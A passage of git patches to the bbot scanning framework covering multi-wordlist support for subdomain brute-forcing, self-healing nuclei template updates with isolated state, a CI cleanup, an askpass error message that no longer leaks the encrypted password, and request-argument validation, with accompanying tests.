"https://files.pythonhosted.org/packages/68/8e/d5888f46ed0fa3347c94b64026bebbb32e669f99c47331e5042f233829ba/blasthttp-0.6.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:9ab31071b463a1a2ca807110c3c4446f3162596ec4949dded0c24c5c388a0bc5", size = 4370551, upload-time = "2026-05-14T16:07:42.016Z" }, + { url = "https://files.pythonhosted.org/packages/cd/7b/1738014c489e2d6ae48389ac0046b4f078e0b1870c48d848e79b83d3662d/blasthttp-0.6.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:0cfa06dc4005b0fd13da713ba4635b53f5c217c6b2ca59c6afe0f3eecb0c1ef0", size = 4793665, upload-time = "2026-05-14T16:07:50.199Z" }, + { url = "https://files.pythonhosted.org/packages/6d/92/7cb91e22d579bb39052ecfbe298001df6d2af49405eb2bf202024a0e0a7b/blasthttp-0.6.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2cc57caa53d9135ba57a29d4a7eaf682e3499bfbe06670a79482ff88c8e3abd8", size = 4757378, upload-time = "2026-05-14T16:07:57.877Z" }, ] [[package]] From cbaf9a3e45e32efd11b73f408641cd927e9cc72a Mon Sep 17 00:00:00 2001 From: SpamFaux Date: Thu, 14 May 2026 12:21:35 -0500 Subject: [PATCH 646/912] Allow dnsbrute to accept a list of wordlists The wordlist option now accepts either a single URL/path (existing behavior) or a list, enabling users to supplement the default wordlist with custom entries without replacing it. Multiple files are fetched and merged into a single deduplicated set before brute-forcing begins. --- bbot/modules/dnsbrute.py | 15 +++++-- .../module_tests/test_module_dnsbrute.py | 43 +++++++++++++++++++ 2 files changed, 55 insertions(+), 3 deletions(-) diff --git a/bbot/modules/dnsbrute.py b/bbot/modules/dnsbrute.py index 77df6124ac..00745f8be3 100644 --- a/bbot/modules/dnsbrute.py +++ b/bbot/modules/dnsbrute.py @@ -15,7 +15,7 @@ class dnsbrute(subdomain_enum): "max_depth": 5, } options_desc = { - "wordlist": "Subdomain wordlist URL", + "wordlist": "Subdomain wordlist URL or file path. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).", "max_depth": "How many subdomains deep to brute force, i.e. 5.4.3.2.1.evilcorp.com", } deps_common = ["massdns"] @@ -24,14 +24,23 @@ class dnsbrute(subdomain_enum): _qsize = 10000 async def setup_deps(self): - self.subdomain_file = await self.helpers.wordlist(self.config.get("wordlist")) + wordlist = self.config.get("wordlist") + if isinstance(wordlist, str): + wordlist = [wordlist] + else: + wordlist = list(wordlist) + self.subdomain_files = [] + for w in wordlist: + self.subdomain_files.append(await self.helpers.wordlist(w)) # tell the dnsbrute helper to fetch the resolver file await self.helpers.dns.brute.resolver_file() return True async def setup(self): self.max_depth = max(1, self.config.get("max_depth", 5)) - self.subdomain_list = set(self.helpers.read_file(self.subdomain_file)) + self.subdomain_list = set() + for f in self.subdomain_files: + self.subdomain_list.update(self.helpers.read_file(f)) self.wordlist_size = len(self.subdomain_list) return await super().setup() diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py b/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py index a8e1ba750d..f7439d9218 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py @@ -97,6 +97,49 @@ def check(self, module_test, events): ) +class TestDnsbruteMultiWordlist(ModuleTestBase): + """Test that multiple wordlists are merged and deduplicated correctly.""" + + module_name = "dnsbrute" + wordlist_1 = tempwordlist(["www", "shared"]) + wordlist_2 = tempwordlist(["asdf", "shared"]) + config_overrides = { + "modules": {"dnsbrute": {"wordlist": [str(wordlist_1), str(wordlist_2)], "max_depth": 3}} + } + + async def setup_after_prep(self, module_test): + old_run_live = module_test.scan.helpers.run_live + + async def new_run_live(*command, check=False, text=True, **kwargs): + if "massdns" in command[:2]: + _input = [l async for l in kwargs["input"]] + if "asdf.blacklanternsecurity.com" in _input: + yield """{"name": "asdf.blacklanternsecurity.com.", "type": "A", "class": "IN", "status": "NOERROR", "rx_ts": 1713974911725326170, "data": {"answers": [{"ttl": 86400, "type": "A", "class": "IN", "name": "asdf.blacklanternsecurity.com.", "data": "1.2.3.4."}]}, "flags": ["rd", "ra"], "resolver": "195.226.187.130:53", "proto": "UDP"}""" + else: + async for _ in old_run_live(*command, check=False, text=True, **kwargs): + yield _ + + module_test.monkeypatch.setattr(module_test.scan.helpers, "run_live", new_run_live) + + await module_test.mock_dns( + { + "blacklanternsecurity.com": {"A": ["4.3.2.1"]}, + "asdf.blacklanternsecurity.com": {"A": ["1.2.3.4"]}, + } + ) + + def check(self, module_test, events): + # "shared" appears in both wordlists - merged set should deduplicate it + assert module_test.module.wordlist_size == 3, ( + f"Expected 3 unique words from 2 overlapping wordlists, got {module_test.module.wordlist_size}" + ) + assert module_test.module.subdomain_list == {"www", "asdf", "shared"} + # Confirm the scan found the subdomain coming from the second wordlist + assert any( + e.data == "asdf.blacklanternsecurity.com" and str(e.module) == "dnsbrute" for e in events + ), "Expected asdf.blacklanternsecurity.com from second wordlist" + + class TestDnsbruteCanaryCheck(ModuleTestBase): """Test that the canary check correctly aborts brute-forcing on wildcard domains. From 9f3d042f37c0c549dd4a0c4109234eb35a7c8c71 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 14 May 2026 22:05:49 -0400 Subject: [PATCH 647/912] fix gowitness server hint to use 'report server' subcommand (#3092) --- bbot/modules/gowitness.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/gowitness.py b/bbot/modules/gowitness.py index b26018d58c..de782a7b91 100644 --- a/bbot/modules/gowitness.py +++ b/bbot/modules/gowitness.py @@ -347,7 +347,7 @@ async def report(self): if self.screenshots_taken: self.success(f"{len(self.screenshots_taken):,} web screenshots captured. To view:") self.success(" - Start gowitness") - self.success(f" - cd {self.base_path} && ./gowitness server") + self.success(f" - cd {self.base_path} && ./gowitness report server") self.success(" - Browse to http://localhost:7171") else: self.info("No web screenshots captured") From 7b1e91dbf627c050c691a30b5cc2fdeb62d54bb7 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 15 May 2026 08:14:49 -0400 Subject: [PATCH 648/912] nuclei: self-heal stale template state after killed update shield the update subprocess from outer cancels, and if the resulting templates dir is empty (marker file lied), wipe both and retry once. --- bbot/modules/nuclei.py | 57 +++++++++++++++++++++++++++++++----------- 1 file changed, 43 insertions(+), 14 deletions(-) diff --git a/bbot/modules/nuclei.py b/bbot/modules/nuclei.py index 1614fc60be..466be00c87 100644 --- a/bbot/modules/nuclei.py +++ b/bbot/modules/nuclei.py @@ -1,6 +1,10 @@ +import asyncio import json +import shutil import yaml from itertools import islice +from pathlib import Path + from bbot.modules.base import BaseModule @@ -62,21 +66,17 @@ class nuclei(BaseModule): _batch_size = 200 async def setup(self): - # attempt to update nuclei templates self.nuclei_templates_dir = self.helpers.tools_dir / "nuclei-templates" - self.info("Updating Nuclei templates") - update_results = await self.run_process( - ["nuclei", "-update-template-dir", self.nuclei_templates_dir, "-update-templates"] - ) - if update_results.stderr: - if "Successfully downloaded nuclei-templates" in update_results.stderr: - self.success("Successfully updated nuclei templates") - elif "No new updates found for nuclei templates" in update_results.stderr: - self.info("Nuclei templates already up-to-date") - else: - self.warning(f"Failure while updating nuclei templates: {update_results.stderr}") - else: - self.warning("Error running nuclei template update command") + await self._update_templates() + # nuclei writes its version marker before the tarball finishes extracting, + # so a killed update can leave the marker pointing at an empty dir and + # every subsequent run reports "up-to-date." Verify and repair once. + if not self._templates_installed(): + self.warning("Nuclei templates appear incomplete; wiping marker and re-downloading") + self._wipe_templates_state() + await self._update_templates() + if not self._templates_installed(): + return False, "Failed to install nuclei templates after retry" self.proxy = self.scan.web_config.get("http_proxy", "") self.mode = self.config.get("mode", "severe").lower() self.ratelimit = int(self.config.get("ratelimit", 150)) @@ -317,6 +317,35 @@ async def cleanup(self): resume_file = self.helpers.current_dir / "resume.cfg" resume_file.unlink(missing_ok=True) + async def _update_templates(self): + self.info("Updating Nuclei templates") + # shield so an outer cancel can't kill the subprocess mid-extract and + # corrupt the templates dir + update_results = await asyncio.shield( + self.run_process(["nuclei", "-update-template-dir", self.nuclei_templates_dir, "-update-templates"]) + ) + if not update_results.stderr: + self.warning("Error running nuclei template update command") + return + if "Successfully downloaded nuclei-templates" in update_results.stderr: + self.success("Successfully updated nuclei templates") + elif "No new updates found for nuclei templates" in update_results.stderr: + self.info("Nuclei templates already up-to-date") + else: + self.warning(f"Failure while updating nuclei templates: {update_results.stderr}") + + def _templates_installed(self): + http_dir = self.nuclei_templates_dir / "http" + return http_dir.is_dir() and any(http_dir.iterdir()) + + def _wipe_templates_state(self): + # nuclei keeps its version marker in ~/.config/nuclei separately from + # the templates dir; wipe both so the next update truly redownloads + marker = Path.home() / ".config" / "nuclei" / ".templates-config.json" + marker.unlink(missing_ok=True) + if self.nuclei_templates_dir.exists(): + shutil.rmtree(self.nuclei_templates_dir, ignore_errors=True) + async def filter_event(self, event): if self.config.get("directory_only", True): if "endpoint" in event.tags: From d6f1a565b424547a43650727e1d7ea221d9756ad Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 15 May 2026 08:37:51 -0400 Subject: [PATCH 649/912] remove parrot MIT-mirror override --- .github/workflows/distro_tests.yml | 8 -------- 1 file changed, 8 deletions(-) diff --git a/.github/workflows/distro_tests.yml b/.github/workflows/distro_tests.yml index 6dfd07de1c..64f5ecf502 100644 --- a/.github/workflows/distro_tests.yml +++ b/.github/workflows/distro_tests.yml @@ -23,14 +23,6 @@ jobs: . /etc/os-release if [ "$ID" = "ubuntu" ] || [ "$ID" = "debian" ] || [ "$ID" = "kali" ] || [ "$ID" = "parrotsec" ]; then export DEBIAN_FRONTEND=noninteractive - # Pin Parrot to MIT mirror to avoid stale third-party mirrors (e.g. mirror.clarkson.edu) - # Note: parrotsec/security image reports ID=debian, so we detect via parrot.list - if [ -f /etc/apt/sources.list.d/parrot.list ]; then - rm -f /etc/apt/sources.list /etc/apt/sources.list.old /etc/apt/sources.list.d/*.list /etc/apt/sources.list.d/*.sources - echo "deb https://mirrors.mit.edu/parrot/ echo main contrib non-free non-free-firmware" > /etc/apt/sources.list.d/parrot.list - echo "deb https://mirrors.mit.edu/parrot/ echo-security main contrib non-free non-free-firmware" >> /etc/apt/sources.list.d/parrot.list - echo "deb https://mirrors.mit.edu/parrot/ echo-backports main contrib non-free non-free-firmware" >> /etc/apt/sources.list.d/parrot.list - fi apt-get update apt-get -y install curl git bash build-essential docker.io libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget llvm libncurses5-dev libncursesw5-dev xz-utils tk-dev libffi-dev liblzma-dev elif [ "$ID" = "alpine" ]; then From 9a84da740fc25786951bbd69b0e44e5db40a2090 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 15 May 2026 09:05:44 -0400 Subject: [PATCH 650/912] don't echo encrypted sudo password blob in askpass error --- bbot/core/helpers/depsinstaller/sudo_askpass.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/core/helpers/depsinstaller/sudo_askpass.py b/bbot/core/helpers/depsinstaller/sudo_askpass.py index ccd8cd01b6..69454bb631 100644 --- a/bbot/core/helpers/depsinstaller/sudo_askpass.py +++ b/bbot/core/helpers/depsinstaller/sudo_askpass.py @@ -33,7 +33,7 @@ def main(): decrypted_password = decrypt_password(encrypted_password, key) print(decrypted_password, end="") except Exception as e: - print(f'Error decrypting password "{encrypted_password}": {str(e)}', file=sys.stderr) + print(f"Error decrypting sudo password: {str(e)}", file=sys.stderr) sys.exit(1) From abfa5b9831e9ee575a877490ac18dc3dcf1b5fcc Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 15 May 2026 09:21:05 -0400 Subject: [PATCH 651/912] restore the few event-pipeline debug lines that aren't redundant --- bbot/modules/base.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/bbot/modules/base.py b/bbot/modules/base.py index 2e61ce4b33..96acf227af 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -785,6 +785,7 @@ async def _worker(self): except asyncio.CancelledError: self.debug(f"{context} was cancelled") continue + self.debug(f"Finished handling {event}") else: self.debug(f"Not accepting {event} because {reason}") finally: @@ -1020,6 +1021,8 @@ async def queue_event(self, event): return acceptable, reason = self._event_precheck(event) if not acceptable: + if reason and reason != "its type is not in watched_events": + self.debug(f"Not queueing {event} because {reason}") return try: self.incoming_event_queue.put_nowait(event) @@ -1858,6 +1861,7 @@ async def _worker(self): async with self._task_counter.count(f"event_postcheck({event})"): postcheck_pass, reason = await self._event_postcheck(event) if not postcheck_pass: + self.debug(f"Not intercepting {event} because postcheck failed ({reason})") acceptable = False # whether to pass the event on to the rest of the scan From 74dee07d220c5d653dfdb925249ff572f9eba0e4 Mon Sep 17 00:00:00 2001 From: SpamFaux Date: Fri, 15 May 2026 10:19:39 -0500 Subject: [PATCH 652/912] ruff formatting fix --- bbot/modules/dnsbrute.py | 15 ++---- .../module_tests/test_module_dnsbrute.py | 49 ++----------------- 2 files changed, 6 insertions(+), 58 deletions(-) diff --git a/bbot/modules/dnsbrute.py b/bbot/modules/dnsbrute.py index 00745f8be3..77df6124ac 100644 --- a/bbot/modules/dnsbrute.py +++ b/bbot/modules/dnsbrute.py @@ -15,7 +15,7 @@ class dnsbrute(subdomain_enum): "max_depth": 5, } options_desc = { - "wordlist": "Subdomain wordlist URL or file path. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).", + "wordlist": "Subdomain wordlist URL", "max_depth": "How many subdomains deep to brute force, i.e. 5.4.3.2.1.evilcorp.com", } deps_common = ["massdns"] @@ -24,23 +24,14 @@ class dnsbrute(subdomain_enum): _qsize = 10000 async def setup_deps(self): - wordlist = self.config.get("wordlist") - if isinstance(wordlist, str): - wordlist = [wordlist] - else: - wordlist = list(wordlist) - self.subdomain_files = [] - for w in wordlist: - self.subdomain_files.append(await self.helpers.wordlist(w)) + self.subdomain_file = await self.helpers.wordlist(self.config.get("wordlist")) # tell the dnsbrute helper to fetch the resolver file await self.helpers.dns.brute.resolver_file() return True async def setup(self): self.max_depth = max(1, self.config.get("max_depth", 5)) - self.subdomain_list = set() - for f in self.subdomain_files: - self.subdomain_list.update(self.helpers.read_file(f)) + self.subdomain_list = set(self.helpers.read_file(self.subdomain_file)) self.wordlist_size = len(self.subdomain_list) return await super().setup() diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py b/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py index f7439d9218..4aed9a052f 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py @@ -97,49 +97,6 @@ def check(self, module_test, events): ) -class TestDnsbruteMultiWordlist(ModuleTestBase): - """Test that multiple wordlists are merged and deduplicated correctly.""" - - module_name = "dnsbrute" - wordlist_1 = tempwordlist(["www", "shared"]) - wordlist_2 = tempwordlist(["asdf", "shared"]) - config_overrides = { - "modules": {"dnsbrute": {"wordlist": [str(wordlist_1), str(wordlist_2)], "max_depth": 3}} - } - - async def setup_after_prep(self, module_test): - old_run_live = module_test.scan.helpers.run_live - - async def new_run_live(*command, check=False, text=True, **kwargs): - if "massdns" in command[:2]: - _input = [l async for l in kwargs["input"]] - if "asdf.blacklanternsecurity.com" in _input: - yield """{"name": "asdf.blacklanternsecurity.com.", "type": "A", "class": "IN", "status": "NOERROR", "rx_ts": 1713974911725326170, "data": {"answers": [{"ttl": 86400, "type": "A", "class": "IN", "name": "asdf.blacklanternsecurity.com.", "data": "1.2.3.4."}]}, "flags": ["rd", "ra"], "resolver": "195.226.187.130:53", "proto": "UDP"}""" - else: - async for _ in old_run_live(*command, check=False, text=True, **kwargs): - yield _ - - module_test.monkeypatch.setattr(module_test.scan.helpers, "run_live", new_run_live) - - await module_test.mock_dns( - { - "blacklanternsecurity.com": {"A": ["4.3.2.1"]}, - "asdf.blacklanternsecurity.com": {"A": ["1.2.3.4"]}, - } - ) - - def check(self, module_test, events): - # "shared" appears in both wordlists - merged set should deduplicate it - assert module_test.module.wordlist_size == 3, ( - f"Expected 3 unique words from 2 overlapping wordlists, got {module_test.module.wordlist_size}" - ) - assert module_test.module.subdomain_list == {"www", "asdf", "shared"} - # Confirm the scan found the subdomain coming from the second wordlist - assert any( - e.data == "asdf.blacklanternsecurity.com" and str(e.module) == "dnsbrute" for e in events - ), "Expected asdf.blacklanternsecurity.com from second wordlist" - - class TestDnsbruteCanaryCheck(ModuleTestBase): """Test that the canary check correctly aborts brute-forcing on wildcard domains. @@ -184,6 +141,6 @@ async def new_run_live(*command, check=False, text=True, **kwargs): def check(self, module_test, events): # canary check should have aborted, so no DNS_NAME events from dnsbrute dnsbrute_events = [e for e in events if e.type == "DNS_NAME" and str(e.module) == "dnsbrute"] - assert len(dnsbrute_events) == 0, ( - f"Expected no results from dnsbrute (canary check should abort), but got {len(dnsbrute_events)}: {[e.data for e in dnsbrute_events]}" - ) + assert ( + len(dnsbrute_events) == 0 + ), f"Expected no results from dnsbrute (canary check should abort), but got {len(dnsbrute_events)}: {[e.data for e in dnsbrute_events]}" From 786be969e6df7bd10299ed42fccec15058c7be88 Mon Sep 17 00:00:00 2001 From: SpamFaux Date: Fri, 15 May 2026 10:25:02 -0500 Subject: [PATCH 653/912] Move multi-wordlist merge logic into helpers.wordlist() Per review feedback, generalize the feature at the helper level so all modules that accept wordlist configs (legba, ffuf, paramminer, etc.) get multi-wordlist support automatically rather than implementing it per-module. dnsbrute reverts to a single helpers.wordlist() call. --- bbot/core/helpers/web/web.py | 35 +++++++++++++++- bbot/modules/dnsbrute.py | 2 +- .../module_tests/test_module_dnsbrute.py | 40 +++++++++++++++++++ 3 files changed, 75 insertions(+), 2 deletions(-) diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 9f8b751c65..a7b95126e0 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -235,8 +235,12 @@ async def wordlist(self, path, lines=None, zip=False, zip_filename=None, **kwarg Allows for optional line-based truncation and caching. Returns the full path of the wordlist file or a truncated version of it. + Also accepts a list of paths/URLs, in which case all wordlists are fetched and merged + into a single deduplicated file before being returned. + Args: - path (str): The local or remote path of the wordlist. + path (str | list): The local or remote path of the wordlist, or a list of paths/URLs + to merge into a single deduplicated wordlist. lines (int, optional): Number of lines to read from the wordlist. If specified, will return a truncated wordlist with this many lines. zip (bool, optional): Whether to unzip the file after downloading. Defaults to False. @@ -258,9 +262,38 @@ async def wordlist(self, path, lines=None, zip=False, zip_filename=None, **kwarg Fetching and truncating to the first 100 lines >>> wordlist_path = await self.helpers.wordlist("/root/rockyou.txt", lines=100) + + Merging multiple wordlists into one + >>> wordlist_path = await self.helpers.wordlist(["/custom.txt", "https://example.com/wordlist.txt"]) """ import zipfile + # Handle list of wordlists - fetch each and merge into a single deduplicated file + if not isinstance(path, (str, Path)): + paths = list(path) + if not paths: + raise WordlistError("Wordlist list is empty") + merged = set() + for p in paths: + f = await self.wordlist(p, **kwargs) + merged.update(self.parent_helper.read_file(f)) + cache_key = "merged_wordlist:" + ":".join(sorted(str(p) for p in paths)) + merged_filename = self.parent_helper.cache_filename(cache_key) + with open(merged_filename, "w") as f: + for word in merged: + f.write(f"{word}\n") + if lines is None: + return merged_filename + lines = int(lines) + with open(merged_filename) as f: + read_lines = f.readlines() + trunc_key = f"{merged_filename}:{lines}" + truncated_filename = self.parent_helper.cache_filename(trunc_key) + with open(truncated_filename, "w") as f: + for line in read_lines[:lines]: + f.write(line) + return truncated_filename + if not path: raise WordlistError(f"Invalid wordlist: {path}") if "cache_hrs" not in kwargs: diff --git a/bbot/modules/dnsbrute.py b/bbot/modules/dnsbrute.py index 77df6124ac..ddd5a2e88d 100644 --- a/bbot/modules/dnsbrute.py +++ b/bbot/modules/dnsbrute.py @@ -15,7 +15,7 @@ class dnsbrute(subdomain_enum): "max_depth": 5, } options_desc = { - "wordlist": "Subdomain wordlist URL", + "wordlist": "Subdomain wordlist URL or file path. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).", "max_depth": "How many subdomains deep to brute force, i.e. 5.4.3.2.1.evilcorp.com", } deps_common = ["massdns"] diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py b/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py index 4aed9a052f..b15a57b2e3 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py @@ -97,6 +97,46 @@ def check(self, module_test, events): ) +class TestDnsbruteMultiWordlist(ModuleTestBase): + """Test that a list of wordlists is merged and deduplicated via helpers.wordlist().""" + + module_name = "dnsbrute" + wordlist_1 = tempwordlist(["www", "shared"]) + wordlist_2 = tempwordlist(["asdf", "shared"]) + config_overrides = {"modules": {"dnsbrute": {"wordlist": [str(wordlist_1), str(wordlist_2)], "max_depth": 3}}} + + async def setup_after_prep(self, module_test): + old_run_live = module_test.scan.helpers.run_live + + async def new_run_live(*command, check=False, text=True, **kwargs): + if "massdns" in command[:2]: + _input = [l async for l in kwargs["input"]] + if "asdf.blacklanternsecurity.com" in _input: + yield """{"name": "asdf.blacklanternsecurity.com.", "type": "A", "class": "IN", "status": "NOERROR", "rx_ts": 1713974911725326170, "data": {"answers": [{"ttl": 86400, "type": "A", "class": "IN", "name": "asdf.blacklanternsecurity.com.", "data": "1.2.3.4."}]}, "flags": ["rd", "ra"], "resolver": "195.226.187.130:53", "proto": "UDP"}""" + else: + async for _ in old_run_live(*command, check=False, text=True, **kwargs): + yield _ + + module_test.monkeypatch.setattr(module_test.scan.helpers, "run_live", new_run_live) + + await module_test.mock_dns( + { + "blacklanternsecurity.com": {"A": ["4.3.2.1"]}, + "asdf.blacklanternsecurity.com": {"A": ["1.2.3.4"]}, + } + ) + + def check(self, module_test, events): + # "shared" appears in both wordlists - merged set should deduplicate it + assert ( + module_test.module.wordlist_size == 3 + ), f"Expected 3 unique words from 2 overlapping wordlists, got {module_test.module.wordlist_size}" + assert module_test.module.subdomain_list == {"www", "asdf", "shared"} + assert any( + e.data == "asdf.blacklanternsecurity.com" and str(e.module) == "dnsbrute" for e in events + ), "Expected asdf.blacklanternsecurity.com from second wordlist" + + class TestDnsbruteCanaryCheck(ModuleTestBase): """Test that the canary check correctly aborts brute-forcing on wildcard domains. From 9220d5434dbebf19196d1f831c91a8cb26850870 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 15 May 2026 12:50:32 -0400 Subject: [PATCH 654/912] reject conflicting body kwargs in WebHelper.request() --- bbot/core/helpers/web/web.py | 10 ++++++++++ bbot/test/test_step_1/test_web.py | 21 +++++++++++++++++++++ 2 files changed, 31 insertions(+) diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index c0357b9393..eba3bff811 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -102,6 +102,16 @@ def _build_blasthttp_kwargs(self, url, **kwargs): data = kwargs.pop("data", None) files = kwargs.pop("files", None) json_body = kwargs.pop("json", None) + + body_sources = [ + name + for name, val in (("body", body), ("data", data), ("json", json_body), ("files", files)) + if val is not None + ] + if len(body_sources) > 1: + raise ValueError( + f"request() got conflicting body kwargs {body_sources}; pass at most one of body, data, json, files" + ) timeout = kwargs.pop("timeout", self._http_timeout) follow_redirects = kwargs.pop("follow_redirects", None) max_redirects = kwargs.pop("max_redirects", None) diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index b7ff82a4e2..d9aff414d3 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -125,6 +125,27 @@ def server_handler(request): await scan._cleanup() +@pytest.mark.asyncio +async def test_web_request_rejects_conflicting_body_kwargs(bbot_scanner): + scan = bbot_scanner() + await scan._prep() + url = "http://example.com/" + + pairs = [ + {"json": {"a": 1}, "files": {"f": ("x", b"x")}}, + {"json": {"a": 1}, "data": {"a": "b"}}, + {"body": "raw", "json": {"a": 1}}, + {"body": "raw", "data": {"a": "b"}}, + {"body": "raw", "files": {"f": ("x", b"x")}}, + {"data": {"a": "b"}, "files": {"f": ("x", b"x")}}, + ] + for kwargs in pairs: + with pytest.raises(ValueError, match="conflicting body kwargs"): + await scan.helpers.request(url, method="POST", **kwargs) + + await scan._cleanup() + + @pytest.mark.asyncio async def test_web_helpers(bbot_scanner, bbot_httpserver, blasthttp_mock): # json conversion From 0adbb9c1655d4876c0858a097973580b48e1b1a9 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 15 May 2026 13:55:13 -0400 Subject: [PATCH 655/912] isolate nuclei state under ~/.bbot/tools/nuclei-state/ redirect nuclei subprocess HOME (and AppData/LocalAppData) so its config, cache, and pdcp dirs all land under bbot's tools tree. lets self-heal wipe stale marker state without touching the user's own ~/.config/nuclei. drop the cross-platform path hunt + one-call helper. --- bbot/modules/nuclei.py | 44 +++++++++++++------ .../module_tests/test_module_nuclei.py | 6 +-- 2 files changed, 33 insertions(+), 17 deletions(-) diff --git a/bbot/modules/nuclei.py b/bbot/modules/nuclei.py index 466be00c87..59eb8326c3 100644 --- a/bbot/modules/nuclei.py +++ b/bbot/modules/nuclei.py @@ -1,9 +1,9 @@ import asyncio import json +import os import shutil import yaml from itertools import islice -from pathlib import Path from bbot.modules.base import BaseModule @@ -66,14 +66,23 @@ class nuclei(BaseModule): _batch_size = 200 async def setup(self): - self.nuclei_templates_dir = self.helpers.tools_dir / "nuclei-templates" + # All nuclei runtime state lives under one bbot-owned dir so we can + # wipe it on corruption without touching the user's own ~/.config/nuclei. + # The subprocess gets HOME pointed here, so nuclei's Go stdlib resolves + # config / cache / pdcp dirs (and on macOS, Library/Application Support) + # all underneath it. See _nuclei_env(). + self.nuclei_state_dir = self.helpers.tools_dir / "nuclei-state" + self.nuclei_templates_dir = self.nuclei_state_dir / "templates" + self.nuclei_home = self.nuclei_state_dir / "home" + self.nuclei_home.mkdir(parents=True, exist_ok=True) await self._update_templates() # nuclei writes its version marker before the tarball finishes extracting, # so a killed update can leave the marker pointing at an empty dir and # every subsequent run reports "up-to-date." Verify and repair once. if not self._templates_installed(): - self.warning("Nuclei templates appear incomplete; wiping marker and re-downloading") - self._wipe_templates_state() + self.warning("Nuclei templates appear incomplete; wiping isolated state and re-downloading") + shutil.rmtree(self.nuclei_state_dir, ignore_errors=True) + self.nuclei_home.mkdir(parents=True, exist_ok=True) await self._update_templates() if not self._templates_installed(): return False, "Failed to install nuclei templates after retry" @@ -257,7 +266,9 @@ async def execute_nuclei(self, nuclei_input): stats_file = self.helpers.tempfile_tail(callback=self.log_nuclei_status) try: with open(stats_file, "w") as stats_fh: - async for line in self.run_process_live(command, input=nuclei_input, stderr=stats_fh): + async for line in self.run_process_live( + command, input=nuclei_input, stderr=stats_fh, env=self._nuclei_env() + ): try: j = json.loads(line) except json.decoder.JSONDecodeError: @@ -317,12 +328,25 @@ async def cleanup(self): resume_file = self.helpers.current_dir / "resume.cfg" resume_file.unlink(missing_ok=True) + def _nuclei_env(self): + # Redirect nuclei's HOME / AppData lookups into our isolated state dir + # so config (.templates-config.json marker), cache, and pdcp dirs all + # land under bbot's tools tree instead of the user's real home. + env = os.environ.copy() + env["HOME"] = str(self.nuclei_home) + env["APPDATA"] = str(self.nuclei_home) + env["LOCALAPPDATA"] = str(self.nuclei_home) + return env + async def _update_templates(self): self.info("Updating Nuclei templates") # shield so an outer cancel can't kill the subprocess mid-extract and # corrupt the templates dir update_results = await asyncio.shield( - self.run_process(["nuclei", "-update-template-dir", self.nuclei_templates_dir, "-update-templates"]) + self.run_process( + ["nuclei", "-update-template-dir", self.nuclei_templates_dir, "-update-templates"], + env=self._nuclei_env(), + ) ) if not update_results.stderr: self.warning("Error running nuclei template update command") @@ -338,14 +362,6 @@ def _templates_installed(self): http_dir = self.nuclei_templates_dir / "http" return http_dir.is_dir() and any(http_dir.iterdir()) - def _wipe_templates_state(self): - # nuclei keeps its version marker in ~/.config/nuclei separately from - # the templates dir; wipe both so the next update truly redownloads - marker = Path.home() / ".config" / "nuclei" / ".templates-config.json" - marker.unlink(missing_ok=True) - if self.nuclei_templates_dir.exists(): - shutil.rmtree(self.nuclei_templates_dir, ignore_errors=True) - async def filter_event(self, event): if self.config.get("directory_only", True): if "endpoint" in event.tags: diff --git a/bbot/test/test_step_2/module_tests/test_module_nuclei.py b/bbot/test/test_step_2/module_tests/test_module_nuclei.py index c1945370c6..20422c3e33 100644 --- a/bbot/test/test_step_2/module_tests/test_module_nuclei.py +++ b/bbot/test/test_step_2/module_tests/test_module_nuclei.py @@ -15,7 +15,7 @@ class TestNucleiManual(ModuleTestBase): "mode": "manual", "concurrency": 2, "ratelimit": 10, - "templates": "/tmp/.bbot_test/tools/nuclei-templates/http/miscellaneous/", + "templates": "/tmp/.bbot_test/tools/nuclei-state/templates/http/miscellaneous/", "interactsh_disable": True, "directory_only": False, } @@ -69,7 +69,7 @@ class TestNucleiSevere(TestNucleiManual): "nuclei": { "mode": "severe", "concurrency": 1, - "templates": "/tmp/.bbot_test/tools/nuclei-templates/http/vulnerabilities/generic/generic-env.yaml", + "templates": "/tmp/.bbot_test/tools/nuclei-state/templates/http/vulnerabilities/generic/generic-env.yaml", } }, "interactsh_disable": True, @@ -114,7 +114,7 @@ class TestNucleiBudget(TestNucleiManual): "mode": "budget", "concurrency": 1, "tags": "spiderfoot", - "templates": "/tmp/.bbot_test/tools/nuclei-templates/exposed-panels/spiderfoot.yaml", + "templates": 